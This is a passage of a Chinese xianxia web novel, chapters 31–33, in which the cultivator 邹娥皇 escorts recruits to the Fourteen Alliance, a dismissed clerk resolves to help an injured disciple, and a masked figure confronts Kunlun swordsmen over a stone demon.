灵脉虽是修士在某个阶段突然形成的,但是也要建立在灵根的基础上。 尹月停住了笑,双眸微微眯起,打量了邹娥皇片刻,问:“啊,你竟生出了剑脉吗?” 邹娥皇说是。 尹月说:“邹娥皇,你要回去问一问你师父。” 这位顶天立地的大女子顿了顿,“你曾和我说过,你非本世之人,所以星盘一类的沾染因果的自生法宝,你天生都无法拥有。后来我有一次,偶然想到了一件事,邹娥皇,你无法修炼,是不是因为你还没有被这个世界接纳。” “现在,你心上生了剑脉,是不是证明天道开始承认你了?” …… 莲花印记,圣人慈悲。 然而,在这世上还没有一个叫何言知的圣人之前,莲花印记,其实是叫鬼台。 那是一段来源于民间的神话传说,他们说很久之前有个小仙人,出生就有大本领,搅弄东海风云,后来借莲台重塑肉身。 演变到后来,莲花就成了死而复生的象征。 于是偏僻的乡野里,总有这样的杂谈:眉生莲花印,阎罗不留人。 何言知直到现在,也没见过和他一样的人。 但他知道,这个传说是真的。 慈悲清白的莲花印,其实是沾染着地府气息的鬼台。 何言知慢慢眨了眨眼,他把自己浑身上下都裹上了厚厚的狐裘,可在艳阳天里,竟还是觉得冷。 冷、好冷。 他好像无时无刻都活在那一场大雪里,襁褓里的婴儿从嘶声力竭到喘气都变得费力,却还是被人抛下,永久地留在了那场雪里。 那个时候,何言知想,他应当就已经是死过一次了。 被老乞丐捡回去的时候,他就应当只是重返阳间的鬼魂了。 所以他生来就比旁人要多了几分的迟钝。 他不懂老乞丐为何最后一口气还是纠结于前朝旧事,他不懂老乞丐为何被别人陷害了就要一直耿耿于怀而不是把当下过好。 他不懂天下大旱,为何高官厚禄者不必死,黎民百姓要伏尸万里。 他最不明白的是,为何仙人就要高高在上,为何凡人就要卑躬屈膝、极尽谄媚? 他不懂的。 所问无言不知的那位圣人,其实一开始就不明白,人到底是为了什么在活着。 就像是蓬莱道祖百年开山论道,一定要问的那个伪命题:我辈修士,到底是为何求仙! 如果要何言知来回答,他求仙一开始,只是想走出去。 走出不死的命运。 如果凡人之身求死不得,那么修士呢? 而后来后来是什么时候开始惜命的呢? 以至于,他为了这条命,骗了一个姑娘。 那是在他发现,他能改变脚下这片土地开始。 他遇到了周平。 死了媳妇的放牛娃,在那天夜里找他席地而谈。 周平对他说:“何言知,我没念过书,但我知道老乞丐教过你,他教过你的,在大夏前面还有大商那些狗东西不是一开始就在那个位置,他们的先辈就是他们最瞧不起的泥巴汉,而现在,他们忘了本,咱们得教一教他们——” 那个皮肤黧黑的庄稼人,眼里冒出了簇簇火光,在漆黑平静的乡野里,在烛光微弱的草屋里。 “我知道你和别人都不一样,何言知。” 周平声音有些颤抖。 “只有你读过书,这片地上,只有你读过书。” “读书者,当遇明主。” 周平声音慢慢地平复了下来:“我就是你的明主。” 何言知忘记了自己怎么回答周平的了。 他只是那个时候突然发现自己胸口原来还有一团火气。 为什么被丢下的人是他,为什么死的人是老乞丐! 为什么仙凡有别? 为什么这世上人和人之间,比人和狗之间的差别还大! 如果这样,如果这个世界这样。 那为什么芸芸众生还要费劲心思,在祖辈们延续千年的土地上,走着那周而复始的路! 难道忙忙碌碌活这一辈子,只是为了活着吗? 苍天赐予他的莲花印记,到底是为了什么,为了戏弄么? “老祖——” 吱呀一声,屋门推开,怯生生的何富贵垂头走进来。 “接任大典要开始了,您要出席么?” 谁能想到,他们何家折了一个合道何春生,但是迎回来了一个大乘境圣人。 那日,在使用真字诀后的何言知,眉目慈悲,手心飞出星盘,然后对着当时的何家家主何渡轻轻说:“没能留住她,你不称职。” “该认罪。” 那日最后,何富贵只记得半米内都是炸开的血雾,吓得他腿缝留下了腥黄的尿渍,然后就听见那圣人笑了声,拿杀人的手摸了摸他的头,温和道:“孩子现在开始,你就是何家家主了。” 向天问规则三尺的书生,最后成了给旁人定罪的圣人。 这世上荒谬,大约是从死而复生那一刻便已开始。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 长痛不如短痛 临近目的地的云舟上。 “嘶——” 尹月看着邹娥皇从袖子里掏出的胳膊, 微嘲地笑了下,“你对自己下手倒狠,没半点犹豫。” 那半截面断臂, 一看就是整刀切下的,连吃痛都不曾来得及。 邹娥皇听了这话,反而笑了下:“哪里,不过是长痛不如短痛。” 这句话说得倒有些沧桑, 像是经历了什么钝刀子割肉一样。 “长痛不如短痛?” 尹月随口重复道,狭长的眼睫忽然一颤动,妩媚的凤眼一转, 邹娥皇忽然闻到一股暖香味, 接着下一秒大脑一片空白,只听得“咯嘣”地一声。 疼,剧烈的疼。 在刹那间, 似乎连呼吸都一抽一抽的, 只见尹月指甲偏长的手指下飘出一团绿色的灵气,包裹住邹娥皇胳膊衔接处, 血肉处开始重新生长, 断了的经脉开始续上。 邹娥皇抿嘴冒汗,看了尹月半响,没说话。 ——旁人嘴里的尹月,泼辣刚强,功法霸道至强至阳, 哪怕是软绵绵的红绫在她手上,也绝不是小女儿情态。 而邹娥皇认识的尹月, 刚来蓬莱的时候,追了道祖半个月, 得了几个巴掌待遇,被从天上拍到地下十几次,摸爬滚打里,学会的不是无上道法,也不是说尽甜言蜜语的小嘴。 是一手出神入化的治疗术。 天生爱美的小姑娘,泥里滚一遭儿后没喊一声痛,偏巧在照镜子的时候哇地一声就是哭了,从那之后,邹娥皇无论何时再见到年少的尹月,总能见到一册医书。 早年的经历造就了,以纯阳霸道出名的七彩阁阁主,对外是巾帼不让须眉,私底下里,却有一二分的柔情。 譬如七彩阁那些个本职是脆皮法师、偏生打架爱肉搏的姑娘们,受了伤后总能看到那日理万机的阁主蹙眉对她们说:“一会疼,忍着别出声。” 然后就用缓缓运转的灵气,抚平那些道她们自己不觉得什么、外人看总要触目惊心的疤痕。 所以七彩阁的女修们,喜欢喊尹月“阁主娘娘”,前面那三个字不是重点,最重要的是后面的那个娘,一定要千回百转,才能凸现侠女柔情。 “看什么看?” 尹月察觉到邹娥皇的视线,没好气地呛了一声,“嫌疼?嫌疼,就找你那个第一美人的师妹儿玩去。” 邹娥皇不敢吭声,讨好地用乱蓬蓬的头发蹭了蹭尹月,小声道:“没,只是没想到你会帮我接臂。” 尹月红唇轻翘,用手指抵住邹娥皇的头,推远。 却被对方反手握住,“来都来了,要不要等着送完这批人去十四盟后,跟我回蓬莱。” “见一见道祖?” 云海极速褪去,云舟渐渐降落,尹月目光微错,看着此起彼伏的云,就好像在看着那个宽宥凉薄的强者。 天不怕地不怕的尹月,心中忽然一空。 “不、不了。” 竟是落荒而逃。 青度持剑,第二个跳下云舟,她看着七彩阁阁主消失,不解道:“阁主怎么走的那么快?” 邹娥皇搭着青度的肩,幽幽叹了口气。 记得那些年,她最崇拜尹月的原因,其实不过也就是,别人情窦初开不是邻家哥哥就是白衣小仙人,唯有这头铁的姑娘在拜师不得,被打下蓬莱岛几次后,恋慕上了道祖。 可这世人都知道,蓬莱道祖云无心,当真是空心的,或者说,心有大爱。 在他眼里,人族节气都尚是小爱,更何况是儿女情长。 可想而知,那些年里,尹月这姑娘,心碎的是有多彻底了。 “没事,这些人你先数数人数,看有没有少了的。” 邹娥皇一边和青度说,一边随手一勾,揪出了人群里的谢霖,“小疯子,这一百年去哪里了?” 谢霖很有节气地哼了一声,并不理她。 下一瞬,他只听得女声无奈的一声叹气,这声叹气让他整个魂儿都紧绷起来了,玻璃珠儿般的眼咕噜咕噜地转了半响。 他听见,那人说:“我忘了,等再回去要找你的时候,你已经不见了。” 骗子、 那场大火非凡火,乃是天火,天火之下,修士与凡人无异,她怎么可能进去找他。 谢霖没说话,显然是不信的。 另一厢青度走了过来,“人没少,但是洪兴龙让我来问问他。” 坎天剑直直指着谢霖,“他们嘎子帮二当家,到底去哪里了?” 谢霖眨了眨眼,无辜道:“你不如问问洪兴龙,当初那个二当家是从哪里捡回来的人才。” 青度眉心一跳:“什么意思?” 洪兴龙也跺着脚走了过来,虎摸了一把额前碎发。 “给俺一句准话,老刀疤他现在是死是活?” 谢霖闲闲一翻眼皮:“活着,但他有些不良的小癖好,我已经帮他剁掉了,不用谢我。” 洪兴龙纳闷:“他有* 什么癖好,酒喝不了二两,就是平时脸上那条疤吓小孩了些这有什么的。” 却见谢霖神色莫名:“你确定,小孩是因为他脸上那条疤害怕他?” 洪兴龙一开始还没反应过来,直到帮中贾老三戳了戳他,小声嘀咕了一句“那龟孙子老爱在你看不见的地方对小孩动手动脚估计这次是踢到硬板了。” 洪兴龙这才大悟,骂了句畜。牲。 等等剁了,是剁了那个下三寸吗? 却见身侧的邹娥皇跟着走神,大约是想到了什么画面,她笑得有一二分变态。 脱口而出就是一句意味不明的夸赞:“剁得好!” 谢霖脸色微微发红。 …… 十四盟的建筑都是大同小异,一座高耸的阁楼立在城镇的中央,顶头一行书是昔年丹王留下的笔墨,十四盟这三个字在牌匾中熠熠生辉。 密州总部的几个十四盟办事员都穿着统一的白色袍子,其中有一个年岁还小,生了一张娃娃脸,见到这浩浩荡荡的一群人进来,反被吓了一跳,急匆匆地朝后面喊:“李三儿,来业务了。” 被唤作李三的是个长脸男,正佝着腰,点头哈腰地送一个穿散修衣服的人出来,听了有人喊他,也只是不耐烦地摆了摆手,示意自己正在忙。 那散修路过邹娥皇身侧的时候,她错眼看了一下,竟嗅到了极其熟悉的一股兰香。 “等等。” 她叫住那散修。 十四盟盟内主要由两股势力角逐,世家和门派,但是在这两股势力之外,散修作为一个基数庞大的群体,自然也有一席之地。 然而仅仅也只是一席之地。 至少绝不该是由这等肥差的办事员谄媚地恭送。 被邹娥皇叫住的散修慢吞吞地抬起头来,他生得平平,只有眼下的一点泪痣,略显风情。 “姑娘,你叫我?” 邹娥皇歪头看了他片刻,最后停在了对方刻意显露身份的灵牌上——上面刻着容无常三个字。 这人就没差把狐狸尾巴扫在她鼻尖了。 “看错了,看着背影很像一个我认识的人。” 她说。 容无常笑的很是烧包:“能像姑娘认识的人,是我的荣幸。” “哦。” 却见对面的姑娘无所谓地摆了摆手,“你想多了。我说你长得像的那个人,是个抛家跑路的混蛋,假死在外面脱身,十几年不曾给家里寄来一封信报平安。” 容无常脸色发僵,下一瞬,花白的银丝蹭过他侧颊,他面色微红,只听见邹娥皇带了点哑意,用只有彼此能听到的声音对他道: “师兄。”她顿了顿,“在外面呆累了,就回来看看吧。” “我…我不是容有衡” 反驳的话还没有出口,就看见那人已经越过了他,玄黑色的厚剑背在身后,行走之间发出砰砰的铁声。 他的师妹,从来都是这样。 只说自己想说的,甚至都不会等别人的回复。 就像是一柄亟待出鞘的剑,笔直,雪亮。 青度若有所思地回头,却只见被二师伯叫住的那个散修,摸了摸鼻翼,竟是无奈地笑了。 这笑里,似乎是说不上的情思。 啧,青度忽然感觉牙酸。 记录身份令牌这件事在十四盟算得上比较麻烦的一件琐事,年岁较小的娃娃脸显然不熟悉流畅,捣鼓了半响。 最后接待众人的还是十四盟的那个叫李三的办事员,这次倒是熟练了,但人是飘的,记录身份令牌记录到一半,听了外面有人喊了几句“昆仑剑皇来密州了” 直接丢下了青度几人,从木椅上一个弹跳,就冲出去看热闹了。 邹娥皇慢慢戳着十四盟那闪着灵灯的评价牌,慢悠悠地就要从五颗灯戳到两颗灯,下一瞬却发现指尖麻麻的,原来是那评价牌年久失修,漏电了。 正坚持不懈地戳着的时候,跑出去的李三又跑回来了,眼尖瞧见了,毫不客气地把评价牌一收,坐回了位上。 那边有人小声笑了,说“关系户,评价牌发给他的时候就是失灵的,永远都是好评。” 李三耳朵尖,不以为耻,反而笑了,一边手盖灵章,一边同另个没说话的办事员笑说:“我听他们说了嘴昆仑剑皇,我还以为是谁,出去一看原来不是那位。” 他摇头晃脑:“不过也不差了,瞧瞧那剑那睥睨的神态,怨不得都说一句小剑皇。” 灵章用力在灵牌上砸下去。 李三语气尖酸:“哎,有时候还真是羡慕前台那些接送的,哪个看见的不是大人物,像我们,这辈子在这里处理些盖章的琐事,八辈子轮不上一个剑皇来盖章,这辈子打交道的都只是几盘菜。” 显然是记恨之前邹娥皇在这琢磨给他打差评,见缝插针就嘲讽了几句。 第32章 仙长大义 李三嘴欠惯了。 和众人对于他是个关系户的猜测不同, 这人其实一穷二白;当初能进十四盟,不过也就是溜须拍马的技术高超了些,正好拍的那个面试官舒服了。 至于家里嘛, 其实是没什么底蕴的。 但是奈何人家有脑子,进来后到处暗示别人他有关系,说和这个大能关系好,和那个世家是世交;就连一开始被发配的那个凉位置, 坏了小几年都没去修的评价牌,也被吹成了是关系户,所以打不了差评。 对于李三来说, 见人下菜碟, 是一项被动技能,甚至都算不得有意为之。 但他没想到,这次竟踢到了铁板。 前一秒还是在笑着嘲讽对方连盘菜碟都算不上, 后一秒就看见邹娥皇身后那个抱着剑的年轻女修冷眉成锋, 扔出了一块蓬莱的玉佩。 蓬莱拜托,青天大老爷, 这可是蓬莱啊! 在小二十年的那句“不羡蓬莱天上仙, 只羡昆仑半剑霜”兴起之前,众人听惯了的还是:天上仙岛蓬莱岛,地上苦舟昆仑舟。 就连李三自己的名字,一开始也和这蓬莱沾了一星半点的微妙关系。 当时容有衡还活着,惊才艳艳的不止是昆仑山上的那位剑皇。 那时人人都说, 蓬莱山上,平月真君, 那才是天地第一真仙人。 有人说他连渡劫神境都没有,一睁眼一闭眼, 就已经是半步升天;还有人说容有衡出生的时候,天地大旱三年,是吸收了一片天地钟灵俊秀的才孕育而成的灵胎。 天才、天之骄子这样的话好像天生就是为了容有衡存在的。 他是这天地间最一等一意气风发的少年郎。 而李三的名字么虽然说起来潦草了些,但也确实是和蓬莱平月真君,容有衡有关的。 这要从李三出生的时候说起,也是三年大旱的开局。 那年他的父亲死了,母亲另嫁,唯一一个老奶还是盲了眼的,颤颤巍巍地要给他养大。记得,老奶压着一口气絮絮叨叨地和四五岁的李三说:“别听隔壁狗蛋瞎说,你这名字才不随便,孙儿你可知——平月真君出生的那年,天下大旱三年,巧你出生的那年也是,孙儿,你这个三,是要继容有衡、宴霜寒之后的天下第三人啊!” 李三天真的信了。 但他那时候忘了,五千年前大旱那次,天下出生了无数个襁褓里的幼儿,而不只是一个容有衡。在这些新生儿里,有没活过片刻的,有活过去终其一生也只是个凡人的。 …人们说那场大旱是为了容有衡而出生,其实毫无道理,只是那个郎艳独绝的真君,偏巧生在了那场大旱里。 于是,二十多年前的那场大旱,似乎是专门为了专门证明这个道理,来势汹汹,毫无预兆。 但至今也没有第二个应天地而生的容有衡。 而李三托这场大旱,得了这么个名字,但也只得了这么个不三不四的名字,说碰瓷都有些牵强附会。 现下,他在十四盟几年光景,头一次碰上蓬莱的人,结果开口就是得罪。 如今,李三只好自叹倒霉,心气不顺地赔着笑,拿出刚刚送那个高层散修的劲头,一边扇着自己脸,一边飞快地戳着灵章。 下一瞬,他的手腕却被一人的两指掐住了,动弹不得。 邹娥皇:“谁要你扇脸了,把评价牌拿出来。” 明杏站在前面,看得分明,忍不住捂着嘴和阿姊笑了。 哎。 这位邹仙长啊! …… “大师兄,怎么了?” 一群白衣剑修围着中间的曲轻云,关切问道。 被他们围着的曲轻云,是昆仑当代大师兄,生得一副周正模样,平日里处事也很周正公道,因此极得众人爱戴。 这次出昆仑,众人得知是曲轻云带队,往常没人接的小任务,都变得炙手可热了起来。 曲轻云:“我们追着石妖而来,但是十四盟最后什么都没有让我们参与,不可,不好。” 另个昆仑弟子就笑了,“大师兄,你就是太一板一眼了,石妖算什么大妖怪,他们既然自己要解决,我们白拿了贡献值,岂不好?要我说,也该学一学何九州那厮的轻松做派了,去了蓬莱一次,回来修养半个月。谁知道他究竟是在修养,还是玩乐?” “去去去,拿何九州和大师兄比,你不嫌埋汰,我还替大师兄叫屈呢!” 一堆剑修轰然大笑。 唯有被他们围在中间的曲轻云面色肃立。 往来十四盟的杂乱人流,中间不知道多了多少双眼睛正在盯着他们看,在这个风头上,自己身边的这些人都太散乱了。 不好。 “安静——” 他低喝。 这声安静落在杂乱的说笑里并没有被遮住,相反还因为带了灵气的扩散,一下子就震住了纷乱的场景。 十几个互相推搡的剑修闻言眉骚眼躁,一改刚刚,震声回道:“是!” 闪着光的名剑齐齐出鞘,各式各样的剑鸣一震大殿。 似乎定要听到旁观者小声的惊叹:哇,这就是昆仑啊! ——这群意气风发的白衣少剑修才肯满意地收剑。 唯有曲轻云揉了揉眉眼,略显疲惫。 叫他们安静这群小兔崽子反而更显眼了。 此刻,大殿另一头,鼻尖全是汗,亦步亦趋的李三送着邹娥皇一行人到了另一个屋子。 要不是他后面还有业务,恐怕他就算扒着墙壁也是要留下的。 这个屋子是负责众人填心愿门派的,然后再统一进行考核。 邹娥皇和青度对视一眼,两个人慢吞吞地退到了角落里,试图留下,但最后磨磨蹭蹭地,还是被微笑的十四盟工作人员请了出去。 屋子内,明杏坐在明珠身旁,她仰着脖子,想看看阿姊选了哪里。 在看到蓬莱两个字后,明杏鼓了鼓嘴,“阿姊,咱们去昆仑吧,刚刚那群俊俏的剑修你看见了没,我也想学剑,我问过青度小仙长了,昆仑更适合学剑,咱们去昆仑吧。” 明珠摇了摇头,把蓬莱两个字用墨汁又描了一遍。 她的阿妹,一向是看见了什么新鲜的,就把前几天喜欢的抛之脑后了,这个习惯可不好,将来早晚有一天会吃大亏的。 “我要去蓬莱。” 明珠用一种不容置疑的语气回道。 明杏听了后,嘟了嘟嘴。 她赌气就要把昆仑两个字划掉:“既然你不去昆仑,那我要和你去一个地方。” 谁料,却见阿姊轻轻地摇了摇头。 “在我心应我,和死战不退之间,明杏,我更适合蓬莱。但是你,”小姐姐眷恋的手在阿妹的发丝上慢慢滑下,“你确实更适合昆仑。” 只有昆仑的剑修,一遍遍从死战里刷出来的经验,才能打磨她的阿妹,明杏样样都好,只是心太躁动了,就像是一把没有剑鞘的剑。 “幻海天秘境蓬莱和昆仑都会参加,咱们姐妹好好修炼,争取都被选上,再相逢。” 隔壁桌子上,郑力挠了挠头皮,盯着桌子上两张薄纸略显纠结。身侧,方半子跳到板凳上,弯着腰去看他师父填的志愿。 “这两个字是什么,蓬莱?”小孩用自以为压低声音,但其实分外大声地趴在师父耳边道。 郑力被他惊地一抖笔,墨水晕开了半页纸。 “谁、谁要去蓬莱啦?你看错了,我、我没写蓬莱,你给我下去下去,当心我给你卖了!” 前面椅子上,洪兴龙挠了挠头,最后还是问十四盟工作人员要了张附属门派的楔子,规整地填下了昆仑二字。 他是嘎子帮帮主,要对兄弟们负责的。 不能说喜欢哪个门派,就跑去哪个门派。 门口处,邹娥皇和青度转了个身走出来。 谢霖作为一个还有着“前科”记载的邪修,并没有和众人进一个屋子,其余填心愿门派的人出来倒快,但是见过了昆仑剑修的排场后,再也不提先前那一路上说过要入蓬莱的事了。 反都是一抱拳,认真地和两人道了谢,就脚底抹油跑了。 青度刚刚瞥了一眼志愿,心里凉了大半。 两百个人里,填了蓬莱的人,占了十分之一都不到。 邹娥皇倒是还笑的出来。 她特别关注的不过也就是那么几个姑娘的名字,除了明杏要去昆仑,其余人多半都填了蓬莱。 青度:“师伯,我有事先回流仙酒楼了。” 流仙酒楼是十四盟给任务完成的修士特别颁发的福利,平日里一间都要七品灵石才能租赁一间。 邹娥皇摇了摇手,说去吧。 郑力估计马上就和方半子出来了,她在这里守着。 过了半柱香,郑力才抱着方半子偷偷摸摸地溜了出来,贼眉鼠眼地左瞟右看,半天没看见人后才钻了出来,一边笑一边跑。 结果刚跑了没两步远,街角阴影里,神色温柔的女修抬起头,脸上是郑力看惯了的笑意。 他唰地一下刹住了步子。 邹娥皇:“跑去哪里?我都看见你那上面填了蓬莱了。” 郑力不知为何闷红了脸,然后吞吞吐吐道:“你管我。” 邹娥皇蹙眉,摸了摸自己的脸,说:“你盯着我做什么?” 郑力:“不是谁盯着你了,服了。” 话虽如此,他面上仍浮现出一层可疑的红晕,然后道:“你星盘没了?” 邹娥皇这才反应过来。 把星盘还回去后她脸上的云雾便在渐渐褪去,昔年藏在星盘之下笑溶溶的眉眼,渐渐变成了她本来的模样。 而郑力,作为众人里除她之外精通占星术者,自然是察觉最快的那个。 “怎么样,好看么?” 却只见那个病蔫蔫的白脸吊梢眼并没有回答她,只是狼狈地喷出了两道鼻血,吓得原本怯生生不敢说话的方半子立刻跳到了地上,替他拍背。 邹娥皇大惊:“我知道我好看,但也没好看成这样吧?” 屁郑力捂着鼻子,又咽下了一口翻涌到喉咙上的血。 他说:“邹娥皇我好像读到了你的前半生了。” “求人力所不能求。” 他说的很慢,喉咙还在哧哧漏风。 “苦天下之不能苦。” “……” “邹娥皇,我看见你的前半生了,那是一把剑,从刀山火海而出,浴天下疾苦而行,求人力所不能求,苦天下之不能苦。” 郑力说着嗓子就哑了。 他其实一向都是孤高自赏的性子,甚至都带了些愤世嫉俗,所以当初论道台他听不得邹娥皇解释,就已经先自顾自地给她下了定义。 但是但是 方半子忽然瞪大双眼,他那个不知道吐了多少口血都还是梗着身板跳脚的师父为何哭了? ——只见郑力笔直地跪了下去,满地尘埃飞舞指间,这男人俯首叩拜,轻轻道:“仙长大义。” 他看见了。 妖族入侵前,现在凡间撒下的那场大旱,宴霜寒和容有衡都束手无力的大旱,是这个姑娘去力挽狂澜的。 须知,最后死在妖族入侵战场上的修士,都不如凡间大旱里的一杯黄土,葬的百姓多。 只是修士的命,是命。 而救了百姓的那个人,偏生什么话也不爱说。 唯见这日月悬空,站在阴影处的玄袍姑娘,慢慢走了出来。 或许再叫她姑娘已不是很合适,花白的头发象征着她韶华倾负,早于相识之前。 然而,郑力却只听见一声剑出鞘。 那重若千钧的剑,轻而易举削下大乘手臂的剑,此刻做的却只是一件事,把他的膝盖轻轻托起。 邹娥皇轻叹:“别跪啦。” …… 是做梦吧? 那行蓬莱的人走后,李三正想着幸好没闹大,胸口的那口长气还没来得及舒出来,就看见小掌事的走了进来,跟他说明日不用来了。 小掌事身后,正是他那个昔日嘻嘻哈哈奉承的好同僚,怯生生的小圆脸换了一副面孔,正得意洋洋地对李三比着口型,是说活该。 ——原来对方一早就知道,这群人是蓬莱的。 丢了差事的李三失魂落魄地游荡在街上,一直游荡到了天黑,竟也没敢回去。 最后终于犹豫再三,还是走上了那条熟悉的小道。 李三在十四盟的俸禄还行,但主要用来打点关系和医治他奶的眼疾,就是再高的俸禄,也都只能打水漂去了。 所以住所嘛,未免就偏僻了些。 密州都不喜点灯,于是幽长的小道里,李三只能看见零星的几点星光,今夜竟是连月亮也没有的。 他愤愤不平地手舞足蹈了一会,结果就踢到了一段软绵绵的东西。 一声闷哼声从地上传来。 这原来是个人。 李三咽了口唾沫,就要绕着走过去。 谁料,脚脖子突然被拖住,冰冷细腻的触感一下子吓地他浑身一激灵,他低头一看,才发现地上的人有些眼熟。 白日那个抱着臂的蓬莱小仙人? 地上,青度微微喘着气,她刚刚已经晕过去了,只是又被一脚踹醒了,模模糊糊知道人来了,于是拼着一口气拦下了。 青度拼着一口气伸手,凭直觉勾住了李三的手腕。 “你帮帮我我师伯,蓬莱邹娥皇还在流仙酒楼里,我被人封了灵气,联系不上她,求你帮帮我。” “药…药…” 是药还是妖? 李三猛地跳开了原地,惶惶跑出了那条暗巷。 这跟他有什么关系。 李三越跑越快,仿佛身后有猛兽在追赶。 不知道过了多久,他才意识到手心处黏黏糊糊的那片,其实是人的血迹。 温热的。 ——他拿手拍打自己门扉的时候,看见那粘稠的血迹在漆黑的梨木上留下了一个明显的手印,心里不由得咯噔了一下。 下一瞬,大门打开,他那活了九十岁高龄的盲眼老祖母,轻车熟路地摸索,从里面给他开了门。 “今日怎么回来这么晚?”老祖母乐呵呵问道,“春姨给你留了饭,快来吃口。” 李三一言不吭,直到扒起了第一口热饭,舒出了一口气。 “奶,”他蹭着老祖母的手掌。 没说他今日被十四盟开了,也没说在路上遇到了什么。 于是眼盲的老祖母,并不知道此刻滴在她手上的水珠,是从她孙儿的脸上落下的,还只当是下雨屋檐漏水了。 那李三咬着唇,哭的比谁都难看,“你再跟我说一遍我名字是怎么来的,奶,我想听。” 他想听,这一刻,至少还有人觉得他能和容有衡并肩。 眼盲的老太空空摸了摸四周,茫然无错地问孙儿,“怎么漏水了,哪里下雨了吗?收衣服了没?” 然后李三听见他奶说: “你这个名字,是按族里排名来的,当时前面你大伯还有两个儿,一个叫李大,一个叫李二,到了你,就是李三。” “奶”李三抖着唇,“你一开始不是这么和我说的——” 然而却只得了老太的一声笑骂,“当时还是小孩,要人哄着也就罢了,如今可是在十四盟做官的大人物了,怎么还要阿婆给你哄哄。” 原来从一开始,就和那些人无关么? 他所有的骄傲,他所有的鼻孔朝天,他所有的自命不凡。 原来从一开始,根本就不存在吗。 李三心里轰隆隆的,他想既然如此,那他和蓬莱那些人更没有关系了。 他心下稍安,手上的血迹好像也淡去了。 只有心跳那声,越来越响。 仿佛要跳出胸膛。 老太惊叫了一声:“怎么雨越来越大了,三儿,你快去拿盆接雨水,别把木床泡发了。” 李三脆脆应了一声。 他胡乱抹了一把脸,然后跑出了院子。 在那个当口,李三发誓,他只是单纯想拿盆回来应付老奶的,绝不是想出门撑什么英雄的,他发誓。 小人惜命,君子重义。 他是小人,他心里有数的。 但是就在那个拿盆的当口,他神出鬼差地看了一眼黑漆漆的门外。 门外什么都没有,可是门外又好像什么都有。 门内是他一眼望到底的前半生,门外,却好像还能传来那微弱的呼吸。 这样的未知,这样的神秘。 好像有一只手,一只带着吸引力的手,捏起了他的心,生生地往外拖。 李三,跑了出去。 自命不凡的小人,尖酸刻薄的小人,其实一开始,也是做过大侠的梦。 二十年前,四五岁大的李三被村口的孩子堆排挤,被打的青一块紫一块,口中喊的是万死不辞。 万死、不辞。 李三跑了出去,他越跑越快,耳边是呼啸的风,脚下是通往流仙酒楼的路。 在漆黑一片的主城里,只有这片路上是灯光闪烁。 只有这条路是亮的。 第33章 他这一生幸运,始于她 什么是妖怪呢。 在民间的书里, 妖怪是化成人形的狐狸精,埋伏在进京赶考的路上,拿毛茸茸的大尾巴勾着书生的魂;在修真界, 妖怪则又是另一种东西了,他们有灵智,学人修行,习人性, 统一被叫做妖族。 除了东海龙族以及一些无欲无求的精妖之外,大部分妖族和人类,是不死不休的敌人。 灯火通明的流仙酒楼里, 邹娥皇视线微垂, 落在了上午才看过的那行昆仑剑修身上。 他们坐在她对面的酒桌,推杯换盏、猜拳行令。 ——她听见,他们在说石妖。 为首的剑修神色倒是肃穆, 然而俊冷的面上也浮现出一坨酒色的红晕, 显然不辞酒力,偏偏周围人敬酒又都就着饮了下去。 “大师兄, 十四盟他们说那石妖已经被打伤了, 约莫明日就要伏诛。” 双颊飞红的曲轻云微微颔首,他目光已经发直,背后背着的剑发出躁动的嗡嗡声。 被誉为小剑皇的昆仑当代大师兄,背着的本命剑,并非是众人想象中的煞气冲天, 而是两把流水一样的波纹条剑契合在一起。 水载万物,有容乃大。 ——在修真界, 已经很久没有以双剑出名的剑修了。 和单剑比,双剑流在剑修里面并不算受欢迎, 也不全然是因为更难上手,更多的还是因为宴霜寒曾经在一次剑修大会里说过的话。 那日,黑衣剑皇摸着神华剑的流光,眼神平直,语气平铺直述:“剑修修剑亦修心,持双剑者天生如凡人分心,难成大器。” 哈。 曲轻云仰头,痛快地干下了一盏酒。 他双眼迷离,想这又如何,现在还不是拿着双剑的自己,成了这昆仑的大师兄。 烈酒烧喉,平日里再是一本正经的人——如昆仑兢兢业业的大师兄曲轻云也一样,几杯酒串肚,未免眉梢眼角也多了几分的轻狂。 他抿着酒,一口一口的,等捉了石妖回去,就闭关修炼个十五年,到时候再出发幻海天秘境,领昆仑拿下优胜届时,谁还敢再在他面前说双剑流没落? 剑皇算得上什么东西。 正这样想着,一桶飘着花瓣的洗脚水就从二楼倾泻而出,浇了曲轻云一个透心凉,剑修大师兄还没反应过来,就听周围的师弟们叫骂连连,五光十色的剑光倾巢而动,激起一片震荡。 一片喧闹声里,只有立足于二楼栏杆上的谢霖神色冷冷,双手还端着罪魁祸首的洗脚盆。 面对十几把剑柄,似笑非笑的傩面终于与谢霖瘦尖的下颌轻合。 傩面发着阴白的光,唯有眼球两处做了如铜铃般夸张的凸起,唇瓣突的血红外翻似笑非笑,两颗凸起的獠牙往外偏着,穿过缭乱的青丝。 剑光齐发。 被冷水浇了个透心凉的曲轻云尚且持着几分理智,看见那有些眼熟的傩面,还知道先问一来者何人;以及,为何要拿洗脚水浇他们。 但是其余昆仑的年轻剑修么,没理的时候都尚且气焰嚣张,更何况是被人打到家门口来了呢,一时间群情激愤,有筑基了的,蹬地一声就跳到剑上,就要和谢霖来个碰一碰。 然后,就被洗脚盆“咣”地一声扣头砸到了地上。 居高临下的谢霖脚底无物,踏空而行,复杂繁丽带着古朴花纹的长袍无风自动。 谢霖讥笑:“什么时候石妖,也变成能被你们昆仑的剑修,掉以轻心的东西了?” 这声音像从烟中熏过,带了点老人味,和平时天真清亮的童音不同。 邹娥皇默默抬起头,神色复杂。 曲轻云并未听清谢霖在说什么,他只是盯着那傩面。 有些眼熟,好像在哪里看到过。 半空中,谢霖五指一并,四周激飞的剑立刻凝滞。 他微嘲:“你们昆仑剑修,剿灭一城池魔潮都尚且只需要八人队,但如今一个小小‘石妖’的任务,却需要十六人,难道你这昆仑大师兄心里不曾怀疑过什么么?” 凡是旧循,必有其因。 一滴清澈透明的泪从那傩面下滑出。 在一百年前,和石妖威名一起消失于火海的,还有那风光鼎盛的谢家。 所谓妖者,和人类不同,未得天地眷顾启智,修行的第一步其实是幻化出人形。而幻化出人形,除了积年累月的修行和一点点机缘之外,不同种类的妖,要从人类身上借到的东西也不一样。 譬如东海龙族,化形的时候要向人类借走一段脊骨。 这类是属于形借的妖族,修行起来,较一般的妖还要快捷些。 还有的,便是魂借。 凡间传言里的那些个狐狸精,要借的就是书生的精气,才好藏住那些个尾巴。 这类妖修行则费些劲,但是它们的思维也更肖像人类,算得上是聪明的妖。 石妖么,便是后者,魂借。 石妖石妖,听名字也知道,是块石头。 